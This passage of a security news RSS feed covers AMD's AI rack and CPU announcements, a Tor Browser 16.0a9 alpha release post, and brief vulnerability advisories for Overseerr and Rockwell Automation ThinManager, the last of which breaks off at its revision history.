<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Alpha Release: Tor Browser 16.0a9]]></title>
<description><![CDATA[Tor Browser 16.0a9 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Firefox.
⚠️ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for gene...]]></description>
<link>https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/</guid>
<pubDate>Thu, 23 Jul 2026 20:25:02 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<article class="blog-post">
    <picture>
      <source media="(min-width:415px)" srcset="https://blog.torproject.org/new-alpha-release-tor-browser-160a9/lead.webp" type="image/webp">
<source srcset="https://blog.torproject.org/new-alpha-release-tor-browser-160a9/lead_small.webp" type="image/webp">

      <img class="lead" referrerpolicy="no-referrer" loading="lazy" src="https://blog.torproject.org/new-alpha-release-tor-browser-160a9/lead.png">
    </picture>
    <div class="body"><p>Tor Browser 16.0a9 is now available from the <a href="https://www.torproject.org/download/alpha/">Tor Browser download page</a> and also from our <a href="https://www.torproject.org/dist/torbrowser/16.0a9/">distribution directory</a>.</p>
<p>This version includes important <a href="https://www.mozilla.org/en-US/security/advisories/">security updates</a> to Firefox.</p>
<p>⚠️ <strong>Reminder</strong>: The Tor Browser Alpha release-channel is for <a href="https://community.torproject.org/user-research/become-tester/">testing only</a>. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.</p>
<p>Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post.</p>
<p>If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the <a href="https://www.torproject.org/download/">stable release channel</a>.</p>
<h2>It's ESR transition season again!</h2>
<p>Well actually, it has been ESR transition season throughout this entire release cycle! As described in the aforementioned <a href="https://blog.torproject.org/future-of-tor-browser-alpha/">Future of Tor Browser Alpha</a> blog post, we have been incrementally rebasing our Alpha channel on Firefox betas since December of last year. As a result, we now stand before you with Tor Browser 16.0a9 which is based on Firefox ESR 153.</p>
<p>We will continue rebasing Tor Browser 17.0 Alpha branches on Firefox betas throughout the remainder of the Tor Browser 16.0 release cycle. However, new feature-work for now must be put on hold for a few reasons:</p>
<ul>
<li>We must focus our attention on resolving our Bugzilla Audit issues to ensure the features we have inherited from upstream comply Tor Browser's <a href="https://gitlab.torproject.org/tpo/applications/wiki/-/wikis/Design-Documents/Tor-Browser-Design-Doc">threat model</a> and to patch any changes which do not.</li>
<li>Feature work targeting 16.0 stable would need to be cherry-pick'd onto our 17.0 Alpha branches to ensure we don't lose any work. The more invasive a feature patch is, the harder it will be to port to newer versions. This would also be a potentially error-prone process and there is some risk we would lose patches along the way.</li>
<li>We need to finish stabilizing as soon as possible as we have hard external deadlines which cannot be moved: the end-of-life of Firefox ESR 140 on October 13th and the Google Play Minimum Target API Level requirement on November 1st</li>
</ul>
<h2>Challenges and Triumphs</h2>
<h3>💍 Sharing the Load</h3>
<p>Rebasing the hundreds of Tor Browser patches onto newer versions of Firefox is a challenging task. It is like maintaining the structural stability of sand-castle at high-tide with the waves crashing all around you.</p>
<p>As such, it quickly become clear early in this new process that we would need to do something if we wanted to avoid burning out the few developers typically involved in this work. To mitigate this, we shared the knowledge internally and spread the work out across all eight members of the team. This way, each developer was only responsible for at most two or three rebases throughout the entire release cycle.</p>
<h3>🎨 UI Code Churn</h3>
<p>Over the past year, Firefox has developed and integrated two major changes to the UI in Firefox: a <a href="https://blog.mozilla.org/en/firefox/firefox-settings/">redesign</a> of about:preferences in Firefox Desktop and a <a href="https://www.androidsage.com/2026/02/24/firefox-browser-updated-with-new-ui-and-material-3-expressive-hint/">migration</a> from Material 2 to Material 3 in Firefox Android.</p>
<p>Adapting to these types of changes to the frontend are typically rather time-consuming for us, as many (if not the majority) of our patches modify Firefox's UI in some way. For example, we have an entire preferences page on Tor Browser desktop dedicated to configuring how the browser connects to the Tor Network. On Android, we similarly have various additions to the menus, configuration options, and custom UI.</p>
<p>Whenever Mozilla modifies their design systems and Firefox's user interface, we necessarily have to adapt our own custom additions to match. Otherwise, our Tor Browser-specific UI elements would look completely out of place and potentially confuse users (as well as simply looking unprofessional). Therefore, each of these upstream changes requires collaboration with the Tor Project's UX team to update our features' designs and of course development time to implement.</p>
<p>In addition to the time-cost associated with the extra engineering and UX collaboration, very often our old patches simply do not apply cleanly due to the amount of code which has changed. For example, the about:preferences changes on Firefox Desktop are essentially a complete re-write which means we also have to completely re-write our own settings changes without regressing in functionality.</p>
<p>On the plus side, one benefit of our new processes is that we have been able to spread out this work over the entire release cycle. In the past way of doing things, we would have discovered all UX elements which needed to be fixed, updated our designs, and re-implemented in the course of a few months during the old ESR transition season. Under this new way of working, we have been able to incrementally fix things throughout the development cycle.</p>
<p>The benefits of working this way does not just apply to UX of course. It is much easier to find regressions across the entire stack when rebasing between one major Firefox version at a time instead of across 12 or 13. It is also <em>much</em> easier for developers to fix individual regressions one at a time compared to diagnosing, disentangling, and fixing multiple bugs concurrently (divide et impera!).</p>
<h3>⚙️ Pending Google Target API Level Requirements</h3>
<p>Every year, Google requires new Android app releases to target an updated minimum API level. This means, we would not be able to upload new versions of Tor Browser Stable past a certain date (usually August 1st with an extension to November 1st typically possible) without first updating the app to support the new minimum target API level. Fortunately, we inherit most of the required changes from Mozilla when rebasing to the next major ESR.</p>
<p>However, this requirement does impose a hard deadline for the absolute latest we can responsibly stabilize Tor Browser Alpha and promote it to Stable. We've been fortunate in the past few years to make the deadline with a few days to spare (October 28th for Tor Browser 15, October 22nd for Tor Browser 14, etc). Given how far ahead of the curve we are this year, we are hoping to release about a month earlier in September (fingers crossed!).</p>
<h3>🤖 Android APKs too big</h3>
<p>The Google Play Store has a strict size limit of about 100 megabytes for Android applications. New functionality added to Firefox Android over the past year means a larger application which results in new headaches for Tor Browser developers. This release cycle was no exception to this rule and we have had to get <em>creative</em> with our size reductions.</p>
<p>In the past, we have been able reduce our package size though various methods including:</p>
<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/work_items/41500">Using custom size-reducing compiler flags</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/work_items/-41407">Compiling multiple pluggable-transports into a single unified binary to de-duplicate shared dependencies</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42386">Removing unused Firefox assets from the build</a></li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42669">Replacing unused (but still linked) libraries with no-op stubs</a></li>
<li>and <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/42607">countless other methods over there years</a></li>
</ul>
<p>Our most recent effort has been the most invasive yet! For some background, the Firefox application consists of (among other things): various shared libraries, the Firefox executable, a library known as 'xul' which contains most of Firefox's natively compiled functionality, and finally a file known as <code>omni.ja</code>. This <code>omni.ja</code> file is a <code>zip</code> archive which contains the JavaScript, HTML, images, and other assets used in Firefox.</p>
<p>This time around, to reduce the size of our Android package we have<a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/45086">changed how this archive is compressed</a>. We modified the Firefox build system to compress this archive with <code>xz</code> and we modified Firefox itself to decompress this archive at runtime. This work did require a few iterations to get right. In the end, we got back about 3 megabytes with these changes and got us once again under Google's imposed size budget.</p>
<h3>📉 Even Less Telemetry</h3>
<p>Over the years, we have worked to incrementally remove dependencies from Tor Browser Android as part of the aforementioned size reduction work. We of course inherit most of these dependencies from Firefox Android and unfortunately some of them can be labeled as 'trackers'. While we do disable telemetry by default at runtime, the code which implements it remains in the codebase.</p>
<p>We're happy to report that as of Tor Browser 16.0a8, are down to only 1 'tracker' library in the Tor Browser Android codebase: <code>Mozilla Telemetry</code>. Again, this telemetry <em>is</em> disabled at runtime, but this is one more unused dependency which we can <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/41295">hopefully remove in the future</a> (and maybe get some more bytes back!).</p>
<h2>Current Status</h2>
<p>We have:</p>
<ul>
<li>incrementally rebased Tor Browser and Tor Browser for Android to Firefox ESR 153 from Firefox ESR 140</li>
<li>updated the build systems with the latest dependencies and fixed a few reproducibility issues</li>
<li>triaged <em>most</em> of the upstream changes from the past year and flagged over 250 issues for further review (triaging of Firefox 153 is in progress)</li>
<li>resolved about half of these triaged issues</li>
</ul>
<p>For the remainder of this release cycle, we will be focusing on auditing these issues and fixing bugs until the 16.0 alpha series is ready to become Tor Browser Stable 16.0. We are optimistically targeting a September release, which would put us one month ahead of schedule compared to last year.</p>
<h2>Known Issues</h2>
<h3>🦊 Firefox Branding</h3>
<p>In some places in the browser there may be Firefox branding (e.g. logos, cute little foxes, etc) instead of Tor Browser branding. We're currently tracking one known instance in <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/44998">tor-browser#44998</a>. If you discover any other instances lurking about, please <a href="https://support.torproject.org/misc/bug-or-feedback/">open an issue</a>!</p>
<h3>🌐 All websites marked 'insecure' on Tor Browser Android</h3>
<p>Currently, the identity block in the URL bar on Tor Browser Android will always report insecure (e.g. a shield icon with a slash through it). For now, you can tap this icon and verify the certificate manually. This issue is being tracked in <a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/work_items/45115">tor-browser#45115</a></p>
<h2>Send us your feedback</h2>
<p>Now is a great time to <a href="https://blog.torproject.org/vounteer-as-an-alpha-tester/">become an alpha tester</a>! If you find a bug or have a suggestion for how we could improve this release, <a href="https://support.torproject.org/misc/bug-or-feedback/">please let us know</a>.</p>
<h2>Full changelog</h2>
<p>The <a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/raw/main/projects/browser/Bundle-Data/Docs-TBB/ChangeLog.txt">full changelog</a> since Tor Browser 16.0a8 is:</p>
<ul>
<li>All Platforms<ul>
<li>Updated NoScript to 13.6.30.90201984</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43819">Bug tor-browser#43819</a>: Show custom security level on android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44748">Bug tor-browser#44748</a>: Revert Funding the Commons Implementations</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44811">Bug tor-browser#44811</a>: Remove the lock on pdfjs.disable.</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45101">Bug tor-browser#45101</a>: Rebase Tor Browser onto 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45131">Bug tor-browser#45131</a>: Security level is using an unsafe getBoolPref</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41831">Bug tor-browser-build#41831</a>: Update libevent to 2.1.13</li>
</ul>
</li>
<li>Windows + macOS + Linux<ul>
<li>Updated Firefox to 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44439">Bug tor-browser#44439</a>: Remove translate action from urlbar</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44883">Bug tor-browser#44883</a>: Remove urlbar quick action for labs</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45029">Bug tor-browser#45029</a>: Convert connection status settings to new design and config approach</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45055">Bug tor-browser#45055</a>: Rename --color-gray-05 to --color-gray-0</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45081">Bug tor-browser#45081</a>: Use the new "Acorn" icons on desktop</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45110">Bug tor-browser#45110</a>: Disable the settings redesign until ready for us</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45112">Bug tor-browser#45112</a>: Missing CSS border tokens in 153</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45132">Bug tor-browser#45132</a>: nsAppFileLocationProvider.cpp: use of undeclared identifier 'XRE_EXECUTABLE_FILE'</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41800">Bug tor-browser-build#41800</a>: Create a script that adapts the Tor Browser manual HTMLs to work in Tor Browser</li>
</ul>
</li>
<li>macOS<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45108">Bug tor-browser#45108</a>: Artifact generation fails due to missing .DS_Store in the branding directories</li>
</ul>
</li>
<li>Android<ul>
<li>Updated GeckoView to 153.0esr</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/43820">Bug tor-browser#43820</a>: Use SecurityLevel integration on android</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/44157">Bug tor-browser#44157</a>: Remove secret setting toggle for Tab Management Redesign</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45045">Bug tor-browser#45045</a>: Remove moz asset in Downloads screen</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45103">Bug tor-browser#45103</a>: Disable broken "tab management"</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45109">Bug tor-browser#45109</a>: No value passed for parameter 'jsEnabled'</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45118">Bug tor-browser#45118</a>: Audit and disable Mozilla VPN promo</li>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/45130">Bug tor-browser#45130</a>: Clean up TorHomePage padding</li>
</ul>
</li>
<li>Build System<ul>
<li>All Platforms<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41838">Bug tor-browser-build#41838</a>: Update personal_access_tokens URL in tools/fetch_changelogs.py</li>
</ul>
</li>
<li>Windows + Linux + Android<ul>
<li>Updated Go to 1.26.5</li>
</ul>
</li>
<li>Windows<ul>
<li><a href="https://gitlab.torproject.org/tpo/applications/tor-browser-build/-/issues/41819">Bug tor-browser-build#41819</a>: Fix windows-rs URL in projects/firefox/config</li>
</ul>
</li>
</ul>
</li>
</ul>

    </div>
  <div class="categories">
    <ul><li>
        <a href="https://blog.torproject.org/category/applications">
          applications
        </a>
      </li><li>
        <a href="https://blog.torproject.org/category/releases">
          releases
        </a>
      </li></ul>
  </div>
  </article>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-65696 | sct Overseerr up to 1.35.0 Push Subscription API userId authorization]]></title>
<description><![CDATA[A vulnerability described as critical has been identified in sct Overseerr up to 1.35.0. This affects an unknown part of the component Push Subscription API. The manipulation of the argument userId results in authorization bypass. This vulnerability only affects products that are no longer suppor...]]></description>
<link>https://tsecurity.de/de/3689949/sicherheitsluecken/cve-2026-65696-sct-overseerr-up-to-1350-push-subscription-api-userid-authorization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689949/sicherheitsluecken/cve-2026-65696-sct-overseerr-up-to-1350-push-subscription-api-userid-authorization/</guid>
<pubDate>Thu, 23 Jul 2026 20:19:01 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">critical</a> has been identified in <a href="https://vuldb.com/product/sct:overseerr">sct Overseerr up to 1.35.0</a>. This affects an unknown part of the component <em>Push Subscription API</em>. The manipulation of the argument <em>userId</em> results in authorization bypass. This vulnerability only affects products that are no longer supported by the maintainer.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2026-65696">CVE-2026-65696</a>. The attack may be performed from remote. There is no available exploit.]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation ThinManager]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could allow an authenticated attacker to write arbitrary files to restricted system directories outside of the application's intended directory.
The following versions of Rockwell Automation ThinManager are affected:

ThinManager >=1...]]></description>
<link>https://tsecurity.de/de/3689943/it-security-nachrichten/rockwell-automation-thinmanager/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689943/it-security-nachrichten/rockwell-automation-thinmanager/</guid>
<pubDate>Thu, 23 Jul 2026 20:17:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-05.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could allow an authenticated attacker to write arbitrary files to restricted system directories outside of the application's intended directory.</strong></p>
<p>The following versions of Rockwell Automation ThinManager are affected:</p>
<ul>
<li>ThinManager &gt;=13.0.0|&lt;13.0.7, &gt;=13.1.0|&lt;13.1.5, &gt;=13.2.0|&lt;13.2.4, &gt;=14.0.0|&lt;14.0.2</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.1</td>
<td>Rockwell Automation</td>
<td>Rockwell Automation ThinManager</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Chemical, Critical Manufacturing, Energy, Food and Agriculture, Water and Wastewater</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-11917</a></h3>
<div class="csaf-accordion-content">
<p>A path traversal security issue exists within Rockwell Automation ThinManager software due to improper limitation of file save operations within the API. An authenticated attacker could exploit this vulnerability to write arbitrary files to restricted system directories outside of the application's intended directory.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-11917">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation ThinManager</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation ThinManager: &gt;=13.0.0|&lt;13.0.7, Rockwell Automation ThinManager: &gt;=13.1.0|&lt;13.1.5, Rockwell Automation ThinManager: &gt;=13.2.0|&lt;13.2.4, Rockwell Automation ThinManager: &gt;=14.0.0|&lt;14.0.2</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Users using the affected software, should upgrade to one of the corrected versions as follows:</p>
<p><strong>Vendor fix</strong><br>ThinManager Versions 13.0.0 - 13.0.7 --&gt; 13.0.8</p>
<p><strong>Vendor fix</strong><br>ThinManager Versions 13.1.0 - 13.1.5 --&gt; 13.1.6</p>
<p><strong>Vendor fix</strong><br>ThinManager Versions 13.2.0 - 13.2.4 --&gt; 13.2.5</p>
<p><strong>Vendor fix</strong><br>ThinManager Versions 14.0.0 - 14.0.2 --&gt; 14.0.3</p>
<p><strong>Mitigation</strong><br>Users using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices.<br><a href="https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight">https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight</a></p>
<p><strong>Mitigation</strong><br>For more information, refer to Rockwell Automation's Securitry Advisory page.<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.2</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Rockwell Automation reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
